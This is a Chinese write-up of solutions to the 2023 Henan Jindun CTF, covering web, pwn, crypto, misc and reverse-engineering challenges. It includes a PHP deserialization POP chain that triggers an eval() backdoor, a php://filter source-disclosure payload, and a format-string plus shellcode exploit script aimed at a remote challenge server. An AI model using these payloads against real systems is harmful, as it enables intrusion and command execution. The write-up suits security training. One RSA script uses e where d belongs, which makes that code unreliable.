2023河南金盾信安CTF | 风尘孤狼
0%

2023河南金盾信安CTF

2023.111.png

前言

12名,线下加油!

image-20231125211225278

WEB

ApeCoin

image-20231125211341921

发现源码,存在后门文件

image-20231125211408737

Key解密md5即可得到密钥为74658263

image-20231125211430649

连接根目录得到flag

image-20231125211448672

flag{4d65dc12-1a22-4567-96c1-0478057c3932}

get_source

image-20231125211513008

构造即可

a[]=1&b=1&pwn[]=1
image-20231125211555773

flag{b1d05756-09f9-41e1-96c8-4355cc0e8b52}

easyphp

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台 (anquanke.com)

用这个方法读取hint.php源码

?win=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/hint.php
image-20231125211641614 image-20231125211702427

题目源码如下

<?php
error_reporting(0);

class mouse
{
    public $rice;
    function __isset($n){
        $this->rice->nothing();
    }

}

class dog
{
    public $a;
    public $b;
    public $c;
    function __wakeup(){
        $this->a = 'chance?';
    }
    function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
}

class ct
{
    public $fish;

    function __toString()
    {
        if(isset($this->fish->d))
        {
            echo 'you wrong';
        }
    }

}

class get
{
    public $cmd;

    function __call($name,$no)
    {
        eval($this->cmd);  //result
    }
}

$pop = $_GET['pop'];

if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
    echo "you will get flag".'</br>';
    unserialize($pop);
}
else{
    die("Try again!");
}

基础POP,触发get类中的后门即可,命令执行简单绕过,用反引号执行命令,用uniq读取文件就行

pop链子如下

<?php
 
 class get
 {
   public $cmd="print(`uniq /realflag/you_want_flag.php`);";
 
 }
 class mouse
 {
   public $rice;
 }
 
 class dog
 {
   public $a;
   public $b;
   public $c;
   function __construct(){
     $this->b=&$this->a;
   }
 }
 
 class ct
 {
   public $fish;
 }
 
 $backdoor=new get();
 $mouse=new mouse();
 $dog=new dog();
 $ct=new ct();
 $dog->c=$ct;
 $ct->fish=$mouse;
 $mouse->rice=$backdoor;
 print_r(urlencode(serialize($dog)));
 //O%3A3%3A%22dog%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A2%3Bs%3A1%3A%22c%22%3BO%3A2%3A%22ct%22%3A1%3A%7Bs%3A4%3A%22fish%22%3BO%3A5%3A%22mouse%22%3A1%3A%7Bs%3A4%3A%22rice%22%3BO%3A3%3A%22get%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A42%3A%22print%28%60uniq+%2Frealflag%2Fyou_want_flag.php%60%29%3B%22%3B%7D%7D%7D%7D
image-20231125211805335

flag{2a20e466-19b4-4b72-b6b2-837cde465d1c}

Ezupload

非预期,直接访问/flag

image-20231125211831518

flag{b7cb8a43-9c71-4ecb-bebb-547b9ecf5072}

PWN

sign-format

Ida反编译题目附件

image-20231125211911527

Printf()函数存在明显的格式化字符串漏洞

Close(1)关闭终端输出流

跟进查看sub_40135D()函数的代码

image-20231125211932270

函数将format所在的内存页赋予了可读可写可执行的权限

发现下面还有一个sub_401236()函数,继续跟进

image-20231125211949457

prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是system和onegadget都没了,还会教子进程也这么干;而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止),因此我们用orw的方式将flag读取到栈上并输出

经过一段时间的调试后,最终脚本如下:

from pwn import*
context(os="linux",arch="amd64",log_level='debug')
elf=ELF('./pwn')
choice=1
if choice == 0:
    p=process('./pwn')
else:
    p=remote("123.56.121.61",45706)

orwcode=shellcraft.open('./flag')
orwcode+=shellcraft.read(1,'rsp',0x50)
orwcode+=shellcraft.write(2,'rsp',0x50)

payload=b'%736c%30$hn'.ljust(0x18,b'a')
payload+=p64(0x404060+0x20)+asm(orwcode)

p.recvuntil("Let's start!\n")
p.sendline(payload)
p.interactive()

运行得到flag

image-20231125212023683

CRYPTO

我看看谁还不会RSA

RSA解密,d求解即可,脚本如下

from gmpy2 import *
from Crypto.Util.number import *
p=8666789885346075954502743436174521501697
q=2449101960789395782044494299423558347143
n = p*q
print(n)
phi = (p-1)*(q-1)
e=37777
print(is_prime(p))
print(is_prime(q))
c = 8232151627233115772131180151146951323147507324390914513031444555762539986162650
d=invert(e,phi)
m=pow(c,e,n)
print(m)
print(long_to_bytes(m))
image-20231125212139461

flag{r5a_Who_w0nt}

hakiehs

将附件后缀改为zip之后解压,找到image1.bmp图片

image-20231125212214204

第一部分对照文字为link

image-20231125212242184

第二部分是zelda

image-20231125212300417

第三部分是ganon

image-20231125212318150

flag{linkzeldaganon}

babyrsa【一血】

套题,一题当四题,分别考察的CRT,共模,已知phi分解n和推公式,都是基础的RSA,总的EXP如下【python2】

#round1
N=[18431707175796628027225210155764866137060589315850638917972353197871917045314474893373874146167401473640496246918625073265314997076179084530975296256697950503808356831143505633589397070754757130347166337448241649490343632413194818305304282134652935734618351907444876747782412498406589594074346525589905804627592138765992193075504467772493903710487629594988418988816461730614064472246359730211736860698588935743474739456810313578221344149212967580031412892687641217848936661879291425099878596289403526996814326634014199800848745187073801631429637963652883750120648966862626291870121641208420678002017364509249530764747L, 14145693897141879525840664438283759821358469464703980311150286197774061655269643593339816338763581126036204650731015715608716649019120247894671819635572639702297628616505328154665608694761993104253433191662257428651230564621033703840374238283098946482496825723935809252603374188301371026031934804191647040480124274766742473995602296423800386148472679984304299323087549910890044334019073640081344033591196347814849923627262807145570123585406584120926847557042642632328080411777972450857396733507594125111544313786964421300628357394817603934472199493084525674623520392865603979693428355417558604577825474441676237227989L, 18328366459806542970414782482522644251249973175412184918375187368337857388595074542418558924363449997442308642240518237481809307628057494582393372506022132819010410242686193550894774354189598629653504850289550400201580184032079513787238377699965750487292287032818746740503301354763211450701594032787858045479916391020898664567510418276797066083978957230786055406099955808855106919520134292791463990872298332368374281605285909673736503878906456860129802112339080032529021421969681477406950090927077476710012056152567501270798287810734377603580314062576510971518789736851256880848125729522562004210454550396947353002701L, 13892173543265481156393614877743252091356523279451308452465139372725756834054298367030770852538169250461439607972921489028017751247776732769299792365279897040092034862285973205241117128445355230064598554222229058728934495880925342044908394815983059524515035206034579476641220560684300201174679913290770019257152099999763276092315187522984804635406861398895193116724034542845277267529141307790094608880447818537827089313922581190239356889374653905348537823660164130577055741013309127682348014185126678973112236569713425273275851542251529280114647378998420423599173718363406954180691079491158009860097177651883840800913L, 25931944327275440730121825142491688732627507217913274133911000058167400322827696441827216482747141105489071698339457914271959956530795163550510723817793534813405331152070267239674275367230158331538774113796440325313992662361896765191331324662661827820496779628497733947801048583293586303580427016629670770252325328322089089912620710817509613807258913428398368326489530988878767135277493930774374325520096314937969266749192390063918924563915355875877816069337019504543128036385832955481211426939237202661603847686261981779526202370645412102947380979822328218557522653212917811230672495894220355353293435974934373825033L, 13391542785399588708552829351210087956883641515125074042315304426334156657809872464461572502519014425431002866370861764361547253594934246724197023038133352663375284808974862879628200451461121894930472443487305185448881168513908728268542974475122520261418449080070157249580715244954627776261095936527253658761584956735671709315908555724747673781562228441847181305817223487014998214582335865933252790301366210664498155005571480420602603872976422643029682851844778031186807453058822054122320713715531727950649638750053718553039173610812548836568077645531707638550227096040110178331680717826940857097667991518031143405763L, 10661018216746797695429667637804127203646725591681531214833699319837662949962722180602886697745758643953793990211981205526249582255994944299648299338598281473820029194803720384507115456043923903572886866927376455821345630106061030933153596945142351989098427709979282970446919206844507317523824809023155570327758095044614918388469588423746283935026797928483619047653091058043551159094124906196869937781345500455791985391903225882391469645663039353147572357898752838567832277312831438100629652618942965076463460084761833327185156379936150490183724468369454672313401905127421894766632740502368701642304689675925913800689L, 20182633671997423422044190079209748731081408253005472727551564302784434145531222554600250888633641995570056959927861819078132615720740826975764374044107623720274192644754703361346647256210234707921461637319620855947170722674904425111045253430882932275941597333590835687005738986496138711730523217263273332300211339450726197960894778412937640818291034516829493327106212351149422090761822762735298949423202597284105028287801170515124918642457618515457660308083304635495040247724410756402281626521868165640635825503602594580410998529905168924520831619837972805243173317414675537009221104531444141335545635717092578343067L, 13205196037947478850072678723637223374897520216040790960690604286507245756016494229672162090858195986055621775812019911502613487238508741496207514842396894486677755906669059694383608173990783920788992415796711063868616100011307206665572940725739455694717000698475210290616112460519476241741168526434204917335279743948425211005603913709320381020138044523013150451791065934176219432979780086465120351288759122845721145032265981521404177225738585608603778529034325326146476086361192076333726188249655092325997508830257829218302337471014540319258518871704369481869652919101970587648039911862443949292645073871689207120159L, 18993679737848730442620443987506536429982010735750938039274000248259118061145378721879970359848926346175920410935274458679237508661470243965270242631798851514473739876613630171641814275071989422018403731080655190186568816359202637834416458445102373726212841484304653389813806819452320807858071660593900910808698908406798285354102321940949300732791199455246799294078277813353547519034405982868709751692213745873376021404586308318591527103628122106362208713303329550731153425976273750441439271390869384451913308714632104445685584508607411462213533554937064183339589227513547797298018163848249580661121338058267313438241L]
C=[18332360039785946489321870623815269985753746158861459150569598112014402896695181901760686159881359456029490851754791392860104524800698857851952048683087711170274564693473644387153066393126816874622568307143529174073426086900774808746527964157176644984208659254096137050812931970992963233059990402090219422639363503881374971180404614476175675341517804036257442868048387793775246628305167105526586268766979682025640583249927992233468838422582062990706232086875077218810181708510683136152781696872203009563078097281775498444747684178769200719166182820275361128347949846122345571729839331857265429515892958246893763588643L, 11320469425625659447944572672127104215924996220806654104883406382573509992320627058076981450404770334617473696182574053311147414248595364490965507221536172348690663970121735140054038616565820713850943064083071079831065513458181200456474893698167658844784724020900641750099951242207355641902457408351489728809588982042368890495634661062508209569444860977808087159324411068716855660647565063854857834723569104981600005392387048537814058087753400275424200341649135186137643263410035894467733560501422964695791695100915763100944412664299664289566736865107978354482790197248991552108582815463899651285254118580658948423704L, 11250461399779386326913254073468527449093994834046842007901847136889337199480293373517374696536983278119461022990030083561430132446915667543920052296369699640921553581218689123949605328654268066782846311438517743633894970974550817911234848999347198760120475383681239003104168684990135849266001783187956087741775409007737476991393227127711304354627515809662561647265947164511788316939535204416890967655939349404610967109007683998760981978392466562454674646060487585363558433477905620632224653631270609337500891974297436907278509824927975096946480769374708464448052320789795062628955485940141170301616730743809753451218L, 9728070783603422726790305026269233180757448679371808091182627048326085978955982588027533752914237870241367507707682092599165777567832516566188998840865137473291816659679169720439829971887882435760256781338789855158273985670571203585843887377188618472721727412137187110899045674910779466902707910186196077005516348800627362695879964661706264721984164736879958672682479923187190220217725854493348343386772374023913918724505336020343727606925236248498831375012818689285902746744306634757224535589609553799424042986336264064852476133916682607297220717435616272704152778122659678630827735116570324546139388895776126233100L, 10372377022739769752286893640496238286248878950239284012271672008133814958665240857715105732699889602983495683351218048834892283345332690787977246100395007583712050617142313552470546152083234794533924290018834916153198841398756152136542084574566033934256444131217525766449231068328554248036611267859336763317066902740351891502023864384592167685511187034430377718693145475936300887478999164816006725047516538190460176675713365356748683642952451598856582418600610697375811816567759097465251828643298609488409363407831718924618956584689966152747758252062752707093973079344401857582600328510100439016311624262855432345129L, 12746074990094988125290302488022306969531651031585129639702544157968249941681932232200204608967409549361468416495900564133729466510225427792311033264805771929395691274427946157300261037704606620841054802306082626189979627089691644906883595442806640876312429444489674406733868287518051873496086688123043649863298650254793160396801774601344053904784337828973688458190429633625347881519825808256210517295781026342849104820930674536787650119565527421762524786905726229302883538428945110125556462188732673515356819977180220071094699285551905652034307558767250207637176198102692690816265677229250716139924530151140588675341L, 8636516881848405202706323147002885007353780059160017779048921719307880858323096266990754982776133944540298995017561874950810330836700522199626161468498051458953701537278784467881407814358514446853328829597075966562463804297504945218794191051301448659137812611245419005715681430260746010408053402722332604499261905757546050935111392687776488487726436569494872303175830049261126927507696099950781746181255559015524141645155280047399282916443682532625149055484291466263721884324577263812450377253022644656921502178340028608190408875786696351581583107782381585789066897686348157813857964060507288451552805278288099274704L, 6412766627400322049128650661439536630634697897055799579312252682784121840644628091082780054348546001917174344572122268533351837731986750406124170668466628270628929991391248208495700168711297697244066367314316755135773553361516435786240543523241144966657257688030024982286889800825673771875456808904751120486417221862535102525281914096922439119117546814234388335009155183507781721097383639944883530791825469761502800705417280630524502065920673838707195378484900398850513650602295932292156892756702624722821299933892695428449973487255438727741430499701069733216332007442200211804075792467501166625373852309052989932144L, 7323532576223722346180805668144902752624979961975713429172374483895573381188604431363163735051787366857526023558826375670161661114683992934464600303092132040364593623549083934709793118367518944342135360617120116816045955499480022340239840855198692562536700950613569441627115036296852675752508919090021718654615105925942152898438961081310599573612253759719576533961205999963543436600437715202874922129022456534434673223404942393208338331387350947328341097795958916007735806631700268445470038756393772073665659715391885667784063811966073051023800511813605154500794244393782387043860305888221729678801696705013671597458L, 382943004681099295332444420172468478242943489332778175255183493303684731545422034565125209677706218382909148637228249899430159148146578837499923778582878873543269627422049319414471935107111476636664126855098415527771320320014110743782104981626178319633721247813628089830997943080051771874484092476690561812881196077508335251201276527749624713820394921478133537643488179522047844177674300095534913008479070964193455407873924928886028958715922801316727092365175488386518021287652992974186169025932159615003171885340502309810265099199334339617704322273148895957129962016986620355413172666804779404068223221158124646982L]
e=10
from gmpy2 import *
import time
from Crypto.Util.number import long_to_bytes

def CRT(items):
    N = reduce(lambda x, y: x * y, (i[1] for i in items))
    result = 0
    for a, n in items:
        m = N / n
        d, r, s =  gcdext(n, m)
        if d != 1: raise Exception("Input not pairwise co-prime")
        result += a * s * m
    return result % N, N

data = zip(C,N)
x, n = CRT(data)
print(x)
n1 = iroot(x, e)[0]
print(n1)

#########################################################################################################
#round 2
n=15026774046422823772923416703258918256705230309288654575228175604579623547346936557402265468457774144295704018590371406643809210707919110930292118128672982085872998707303717237889568357434415716335302115574278581499476167897701494389034028855822763248021170702441333169823996230788613795106831058750118129231418803418591907957889185297331878433861587845273072867679682913406149012345637188214267352744534064183534416848039519838300470759962947609740063059652035749154884781650569829247851927255231832057438809733910924391141460583632531741373060332495229846381465246269827019781511923018097855504080258669180781429859
# c
e1 = 65537
e2 = 84731
c1,c2=[1585460956371478358014706709052515290603769411694086203567347548677438603190306963660480257054194718081842055413142442411371783317247864151855310406868511302250366452216464986140280108136528150022557071124177556732065653857884852023680390544460637963828470794163920151017854039453109567822562407450258510955376741518286986211377922702150881768361198271139151405484893958729281752206219651760656339612414916889079301588246740231929262251845329897144136767994999566468680566673552798104235743748294554789829818396237690641878313323545394796020102762577870319613049463161869734736841964164206998101487217811484837781201L, 12434006776634330420476277491709207144878226373696172466865824403472566180890543683302324657976319835530565193368235055602654962724355351425188986072019137460799663518374976490707220272856260231890837734085536222645149550435164360604591690058675151293426153733665098546211279575973148007708518445987619577060101053786212681455581647558497825900528285890225715807804674754171452668846978923385221410372907164256635621063068945059641440711301807076759442837643850786728146099578281554707982324719092923361091200962108758764305425336068739116215881081620911765527700114778450250922507158730494945560454334024928446469171L]

import sys
from gmpy2 import *
from libnum import *
from Crypto.Util.number import *
sys.setrecursionlimit(1000000)
import sys

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]

if s1<0:
    s1 = - s1
    c1 = modinv(c1, n)
elif s2<0:
    s2 = - s2
    c2 = modinv(c2, n)
#m = (c1**s1)*(c2**s2)%n
m = pow(c1, s1, n) * pow(c2, s2, n) % n
print m
#12051274697693290706124990444806864448117509935274260318752465436559967219137920860124919553314211368508765502664900094082142706661617704447394483260270502959912432422283933156562557829059776645511526175946830797944396210200593641364373812907632258856908808586745953996838876585148477089130920840126604759803726479860720545937822034855566021695483054110183583988907008833874797365887064421431419502425185380984500547228350047311439447317962190370712239063737356496598392557365981551946830095461329125051776103612935060093311720140311238109431293968822563969151282495204180885021489513059495503670571143636655452716469
#########################################################################################################

#round3
import random
from gmpy2 import *
from Crypto.Util.number import *
from libnum import *
n3=12051274697693290706124990444806864448117509935274260318752465436559967219137920860124919553314211368508765502664900094082142706661617704447394483260270502959912432422283933156562557829059776645511526175946830797944396210200593641364373812907632258856908808586745953996838876585148477089130920840126604759803726479860720545937822034855566021695483054110183583988907008833874797365887064421431419502425185380984500547228350047311439447317962190370712239063737356496598392557365981551946830095461329125051776103612935060093311720140311238109431293968822563969151282495204180885021489513059495503670571143636655452716469

def getpq(n,e,d):
    while True:
        k = e * d - 1
        g = random.randint(3, n-2)
        while k%2==0:
            k=k//2
            temp= powmod(g,k,n)-1
            if  gcd(temp,n)>1 and temp!=0:
                return  gcd(temp,n)
ed = 69658816925700544629283247962254001698454915826363324167248687841428229657908807412264705772690024925952057696968940793220409087134042992738307862734366593456917584994891634588967704564463461140666162771378448630149297796122822465032888385447250081148319964251299583828999913167876190841429498106534206930794855355577715448350958330453012916812935545376223554657010675616333737562871829058955712614717967062388097830554769074812791090306089948504126897656071909647674533441922466703825370972386827731262770792101862343930584334617555653870995907311492428224015386618103475028606681032449205172767950706359755588301624951536442947704335651172215907781436880482476424688324617047897192103372008662354672541395688790786001
ed_1=69658816925700544629283247962254001698454915826363324167248687841428229657908807412264705772690024925952057696968940793220409087134042992738307862734366593456917584994891634588967704564463461140666162771378448630149297796122822465032888385447250081148319964251299583828999913167876190841429498106534206930794855355577715448350958330453012916812935545376223554657010675616333737562871829058955712614717967062388097830554769074812791090306089948504126897656071909647674533441922466703825370972386827731262770792101862343930584334617555653870995907311492428224015386618103475028606681032449205172767950706359755588301624951536442947704335651172215907781436880482476424688324617047897192103372008662354672541395688790786000

def factor(n,ed_1):
    g=2
    while True:
        k=ed_1
        while not k &1:
            k //=2
            p=int(gcd(pow(g,k,n)-1,n))%n
            if p>1:
                return p,n//p
        g=int (next_prime(g))

c=11863157764887938780824579679371643447225713456937713139455448355138750546048767357754685394264878457427548420317960140760043591368197340631979346116915377490755707128510486267310697447660165717832704288859433884564622568136142152559210196202042032186946621446044322226115326468571388229369925749537907791870951835832402887333436573697535805221699431529443630706171928243718095829047868200440437300914623880058122845868296335686759626119932797809303358591871321868677694716513342508348424566444564091188283096388392533118302463885528323186673006330284158603096338578778923136251906089784179273618683529795470632440395
print(factor(n3,ed_1))

p=93354166280947167833539683096118798106084867596287020276555488653205872987859801746684254263516217114159304058632013835768299155560709849272390696591877663191582507890284591155921659833532148373169277734804581509509984633376135064176560954186526127549825077504637255397234250633719215364937275738700717660719
q=129091985690550359973833790091146198395778087257743694979450863523549458554652043962254166670266232149752471741954493310376155128942738655573094015353022428764487467130494383995010146802193442576035047727380869508672182718103620025385942937912806529910521900966008956204938991394692250823238247503135083004251
e=0x10001
d=invert(e,(p-1)*(q-1))
n4=pow(c,d,n3)
print(n4)

#########################################################################################################
#round4
e=65537
c = 2816736056550831653973157899506262168480964803166756293572880189176577881630790000276999096206812411096080372881789954172637160950190474795330245979531766081159871312457936325666134181134500105905111359723389919329114623407411163535294830491463973203982802730253713465016495675821972476067998011690656116432599713401287450098365165426916405282214433290711569156342791601423305946953973954621413878573603456700590631970960732956331418205770421655635464391354229333745390853601777279128370563052468332181418652663994521837627330594810890259573212379994374279868029267872371446355933222697100056083650060776007666183073
c2 = 1206808598909242535223376202389156773475195509201912000607981432006398598528783704808089821819011267947458676834452259929741273957718095195986027224077744723815196776751694084725008944111685380089765819072640641124176452132485301158877006786449055072190022151463977004480696273437839703625450503113220076272034783199115132878674594771158660499906314896727517373004222806580432047871587589294550579633876505236901173980743458637972423194533488244328660796974432193229150042095384808125939545211811637021512657530104465354340731623159501847989090953187756127021193637464098143884758072922518945377684605967349065921691
p = gcd(c2-pow(2019, n4, n4), n4)
q = n4//p
d = inverse(e, (p-1)*(q-1))
print(n2s(pow(c, d, n4)))
image-20231125212443033

flag{y0U_R_th3_ch0sen_on3_1n_the_field_of_Crypt0gr4phy}

MISC

来都来了

压缩包伪加密修改09->00

image-20231125212520550

然后base64解密之后缩小即可看到flag

image-20231125212539761

flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}

Honor

直接foremost分离原附件,然后得到一个jpg图片

image-20231125212606746

直接使用steghide导出隐藏信息,发现需要密码,直接爆破得到114514

image-20231125212624852

导出sercret.txt,得到f6l3-a6ag3c}{-bc4c5e28-e4649c76b0-707e6069

image-20231125212640377

使用栅栏密码解密,在第12栏找到flag

image-20231125212700174

flag{424c076e-768c-3636-acb5-4676900b9eec}

芙宁娜

看到附件的头部有一串base64编码

ZmxhZ3tiYzgzOTRhYSO3ZTMyLTQ3ZTgtYTlmZCOxYmY20DNhZg==

image-20231125212734814

解密之后得到

image-20231125212756948

flag{bc8394aa-7e32-47e8-a9fd-1bf6P3af

exiftool查看图层文本信息得到被遮挡的数据

image-20231125212818890

整理得到pyc文件

image-20231125212836414

保存之后使用pyc-stegosaurus隐写得到flag【必须使用python3.6环境】

8e8f}

拼接得到完整flag

flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}

RE

RE1

密文如下

image-20231125213234193

跟进 0x403740 按 c 转为汇编代码

image-20231125213257348

P 创建函数,f5 反编译得到解密代码

image-20231125213324351

解密得到 flag

#include <stdio.h>

void decrypt(unsigned char* a1, int a2, int* k) {
   int v3[515] = { 0 };
   int v4;
   char v5;
   int j;
   int v7;
   int i;
   
   v7 = 0;
   for (i = 0; i <= 255; ++i) {
   v3[i] = i;
   v3[i + 256] = *a1;
   }
   for (j = 1; j < a2; ++j) {
   for (i = 0; i <= 255; ++i)
   v3[i + 256] = a1[j - 1];
   for (i = 0; i <= 255; ++i) {
   v7 = (v3[i + 256] + v7 + v3[i]) % 256;
   v4 = v3[v7];
   v3[v7] = v3[i];
   v3[i] = v4;
   }
   v5 = 0;
   for (i = 0; i <= 255; i += 2) {
   v5 += v3[i];
   v5 ^= v3[i + 256];
   }
   if (j == (a2 - 2)) {
   *k = v5 & 0xff;
   }
   }
   a1[a2 - 2] ^= *k;
   }
int main() {
   int k = 0;
   for (int i=0 ; i < 32; i++) {
   int index = (int)i;
   unsigned char encode_text[] = {
   0x63, 0xBD, 0x80, 0x56, 0x7D, 0x4C, 0xC6, 0xD5, 0x44, 0x66,
   0x6D, 0x2C, 0x98, 0xA4, 0x1E, 0x50, 0x19, 0x5C, 0x9E, 0x41,
   0x8B, 0x55, 0x05, 0x32, 0xBF, 0xE1, 0x7E, 0xFA, 0xB2, 0x93,
   0xF6, 0x2A
   };
   decrypt(encode_text, index+2, &k);
   printf("%c", encode_text[index]);
}
return 0;
}
image-20231125213703501

flag{ca1acd0c7d7111eeaf0296085339ce83}

制作不易,如若感觉写的不错,欢迎打赏